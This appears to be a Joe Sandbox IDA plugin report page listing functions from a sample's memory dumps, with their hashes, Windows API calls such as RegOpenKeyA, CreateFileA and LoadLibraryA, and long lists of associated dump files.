API String ID: 3849694230-0
Opcode ID: 11296afbbd4fadda167dcfe4c4663c27d50b1571e88584139896471f42ea2247
Instruction ID: dd9edda1111aa3614ae8de005e90fa015a9e8ec6c7cf8508a2eee130184679c9
Opcode Fuzzy Hash: 11296afbbd4fadda167dcfe4c4663c27d50b1571e88584139896471f42ea2247
Instruction Fuzzy Hash: B5C16870D102599FDB10CFA9C9857AEBBF2FF48314F148629E964E72A4D774A881CF81

Function 0032B806 Relevance: 1.3, Strings: 1, Instructions: 18COMMON

Download Yara Rule

Strings

!!iH, xrefs: 0032B976

Memory Dump Source

Source File: 00000003.00000002.2543086398.000000000032A000.00000040.00000001.01000000.00000006.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2543013414.0000000000320000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543038725.0000000000322000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543060616.0000000000326000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543126338.0000000000336000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543236747.0000000000490000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543260182.0000000000492000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543285706.00000000004A3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543311057.00000000004A4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543331615.00000000004A5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543331615.00000000004B1000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543372367.00000000004B4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543391406.00000000004B5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543411962.00000000004B6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543434571.00000000004B7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543453206.00000000004B9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543475183.00000000004BA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543499825.00000000004C2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543522393.00000000004C3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543543200.00000000004C9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543563179.00000000004CC000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543582872.00000000004CD000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543602722.00000000004CE000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543627876.00000000004E7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543650454.00000000004F1000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543673403.00000000004FC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543695502.00000000004FD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543721184.0000000000511000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543742814.0000000000519000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543763616.000000000051A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543788308.000000000051E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543813132.000000000051F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543839244.0000000000524000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543864709.0000000000539000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543885484.000000000053B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543908403.0000000000547000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543930569.0000000000548000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543950670.0000000000549000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543976718.0000000000551000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543997525.0000000000559000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2544016014.000000000055C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2544039071.000000000056C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2544065037.000000000056E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2544091099.0000000000578000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2544111971.0000000000579000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2544144079.00000000005A7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2544164858.00000000005A8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2544183434.00000000005A9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2544201814.00000000005AB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2544222005.00000000005B5000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2544222005.00000000005BC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2544264356.00000000005CA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2544285696.00000000005CC000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_G9H9BE2GP1UE0C9AS5I0G1FKO.jbxd

Similarity

API ID:
String ID: !!iH
API String ID: 0-3430752988
Opcode ID: 31209800f40657165426bf8f507f58abdf5d1210fdd2a9de1ec3ebf49ae4ae25
Instruction ID: 5b34392bb263a4f01f970828bf98446372f3f162da37d6c999af200535c26e6d
Opcode Fuzzy Hash: 31209800f40657165426bf8f507f58abdf5d1210fdd2a9de1ec3ebf49ae4ae25
Instruction Fuzzy Hash: C8E0C2711044D9CACB17AF60A80179AB71EEB50B00F600115FB029EE46CB3D4C119796

Function 004B5B77 Relevance: 4.6, APIs: 3, Instructions: 63
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyA.ADVAPI32(80000001,?,?), ref: 004B5BC6
RegOpenKeyA.ADVAPI32(80000002,?,?), ref: 004B5BED
GetNativeSystemInfo.KERNELBASE(?), ref: 004B5C44

Memory Dump Source

Source File: 00000003.00000002.2543391406.00000000004B5000.00000040.00000001.01000000.00000006.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2543013414.0000000000320000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543038725.0000000000322000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543060616.0000000000326000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543086398.000000000032A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543126338.0000000000336000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543236747.0000000000490000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543260182.0000000000492000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543285706.00000000004A3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543311057.00000000004A4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543331615.00000000004A5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543331615.00000000004B1000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543372367.00000000004B4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543411962.00000000004B6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543434571.00000000004B7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543453206.00000000004B9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543475183.00000000004BA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543499825.00000000004C2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543522393.00000000004C3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543543200.00000000004C9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543563179.00000000004CC000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543582872.00000000004CD000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543602722.00000000004CE000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543627876.00000000004E7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543650454.00000000004F1000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543673403.00000000004FC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543695502.00000000004FD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543721184.0000000000511000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543742814.0000000000519000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543763616.000000000051A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543788308.000000000051E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543813132.000000000051F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543839244.0000000000524000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543864709.0000000000539000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543885484.000000000053B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543908403.0000000000547000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543930569.0000000000548000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543950670.0000000000549000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543976718.0000000000551000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543997525.0000000000559000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2544016014.000000000055C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2544039071.000000000056C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2544065037.000000000056E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2544091099.0000000000578000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2544111971.0000000000579000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2544144079.00000000005A7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2544164858.00000000005A8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2544183434.00000000005A9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2544201814.00000000005AB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2544222005.00000000005B5000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2544222005.00000000005BC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2544264356.00000000005CA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2544285696.00000000005CC000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_G9H9BE2GP1UE0C9AS5I0G1FKO.jbxd

Similarity

API ID: Open$InfoNativeSystem
String ID:
API String ID: 1247124224-0
Opcode ID: 61ff0786f16663fae450a3dc73141907730443d6815bb2f4025d361c09a2cbbf
Instruction ID: 65b1467b94664aeddc802762e3753b3bf512d9eed874d7f0b06ecd8ec75eb7e9
Opcode Fuzzy Hash: 61ff0786f16663fae450a3dc73141907730443d6815bb2f4025d361c09a2cbbf
Instruction Fuzzy Hash: 0F21157210064E9EEF11DF60C989BEF3BA5EF11315F200826E84186D51EBBA4DE88B1C

Function 004A9979 Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 168
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE(?,?,?), ref: 004A9A80

Strings

C, xrefs: 004A9CC3

Memory Dump Source

Source File: 00000003.00000002.2543331615.00000000004A5000.00000040.00000001.01000000.00000006.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2543013414.0000000000320000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543038725.0000000000322000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543060616.0000000000326000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543086398.000000000032A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543126338.0000000000336000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543236747.0000000000490000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543260182.0000000000492000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543285706.00000000004A3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543311057.00000000004A4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543331615.00000000004B1000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543372367.00000000004B4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543391406.00000000004B5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543411962.00000000004B6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543434571.00000000004B7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543453206.00000000004B9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543475183.00000000004BA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543499825.00000000004C2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543522393.00000000004C3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543543200.00000000004C9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543563179.00000000004CC000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543582872.00000000004CD000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543602722.00000000004CE000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543627876.00000000004E7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543650454.00000000004F1000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543673403.00000000004FC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543695502.00000000004FD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543721184.0000000000511000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543742814.0000000000519000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543763616.000000000051A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543788308.000000000051E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543813132.000000000051F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543839244.0000000000524000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543864709.0000000000539000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543885484.000000000053B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543908403.0000000000547000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543930569.0000000000548000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543950670.0000000000549000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543976718.0000000000551000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543997525.0000000000559000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2544016014.000000000055C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2544039071.000000000056C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2544065037.000000000056E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2544091099.0000000000578000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2544111971.0000000000579000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2544144079.00000000005A7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2544164858.00000000005A8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2544183434.00000000005A9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2544201814.00000000005AB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2544222005.00000000005B5000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2544222005.00000000005BC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2544264356.00000000005CA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2544285696.00000000005CC000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_G9H9BE2GP1UE0C9AS5I0G1FKO.jbxd

Similarity

API ID: CreateFile
String ID: C
API String ID: 823142352-1037565863
Opcode ID: cb3a88707dca746411b5ed7c0f6e7716cfbb602ed9d8a6a9ab873bd63761e45e
Instruction ID: 8500e0452cdbe35ec635980dc7c7fb2445bb74265f29b03d78ef9e69e91633d2
Opcode Fuzzy Hash: cb3a88707dca746411b5ed7c0f6e7716cfbb602ed9d8a6a9ab873bd63761e45e
Instruction Fuzzy Hash: 1B31F5FB1482517DE201C659AA50AFB77ACEAE3730B30842FF506D6542D25C4E4A9239

Function 004A9B86 Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 159
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE(C77232F3,004A9B82,00000003,00000000,00000003), ref: 004A9C60

Strings

C, xrefs: 004A9CC3

Memory Dump Source

Source File: 00000003.00000002.2543331615.00000000004A5000.00000040.00000001.01000000.00000006.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2543013414.0000000000320000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543038725.0000000000322000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543060616.0000000000326000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543086398.000000000032A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543126338.0000000000336000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543236747.0000000000490000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543260182.0000000000492000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543285706.00000000004A3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543311057.00000000004A4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543331615.00000000004B1000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543372367.00000000004B4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543391406.00000000004B5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543411962.00000000004B6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543434571.00000000004B7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543453206.00000000004B9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543475183.00000000004BA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543499825.00000000004C2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543522393.00000000004C3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543543200.00000000004C9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543563179.00000000004CC000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543582872.00000000004CD000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543602722.00000000004CE000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543627876.00000000004E7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543650454.00000000004F1000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543673403.00000000004FC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543695502.00000000004FD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543721184.0000000000511000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543742814.0000000000519000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543763616.000000000051A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543788308.000000000051E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543813132.000000000051F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543839244.0000000000524000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543864709.0000000000539000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543885484.000000000053B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543908403.0000000000547000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543930569.0000000000548000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543950670.0000000000549000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543976718.0000000000551000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543997525.0000000000559000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2544016014.000000000055C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2544039071.000000000056C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2544065037.000000000056E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2544091099.0000000000578000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2544111971.0000000000579000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2544144079.00000000005A7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2544164858.00000000005A8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2544183434.00000000005A9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2544201814.00000000005AB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2544222005.00000000005B5000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2544222005.00000000005BC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2544264356.00000000005CA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2544285696.00000000005CC000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_G9H9BE2GP1UE0C9AS5I0G1FKO.jbxd

Similarity

API ID: CreateFile
String ID: C
API String ID: 823142352-1037565863
Opcode ID: 4f82673f48286c0ba102c0c2b6083e6a1db1e8cbc7622fe98c638e832c115962
Instruction ID: 8ded478528cd6f045a613c39d29b616815a5dd77830eb83bb24d2a98dd9d45b2
Opcode Fuzzy Hash: 4f82673f48286c0ba102c0c2b6083e6a1db1e8cbc7622fe98c638e832c115962
Instruction Fuzzy Hash: 233103BB2085157DB301CA9AAB40AFFB7ADF6E3731B30842BF506D6502D29C1D496239

Function 004A5987 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 145
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE ref: 004A5987

Strings

Uaw, xrefs: 004A5A23

Memory Dump Source

Source File: 00000003.00000002.2543331615.00000000004A5000.00000040.00000001.01000000.00000006.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2543013414.0000000000320000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543038725.0000000000322000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543060616.0000000000326000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543086398.000000000032A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543126338.0000000000336000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543236747.0000000000490000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543260182.0000000000492000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543285706.00000000004A3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543311057.00000000004A4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543331615.00000000004B1000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543372367.00000000004B4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543391406.00000000004B5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543411962.00000000004B6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543434571.00000000004B7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543453206.00000000004B9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543475183.00000000004BA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543499825.00000000004C2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543522393.00000000004C3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543543200.00000000004C9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543563179.00000000004CC000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543582872.00000000004CD000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543602722.00000000004CE000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543627876.00000000004E7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543650454.00000000004F1000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543673403.00000000004FC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543695502.00000000004FD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543721184.0000000000511000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543742814.0000000000519000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543763616.000000000051A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543788308.000000000051E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543813132.000000000051F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543839244.0000000000524000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543864709.0000000000539000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543885484.000000000053B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543908403.0000000000547000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543930569.0000000000548000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543950670.0000000000549000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543976718.0000000000551000.00000040.00000001.01000000.00000006.sdmpDownload File
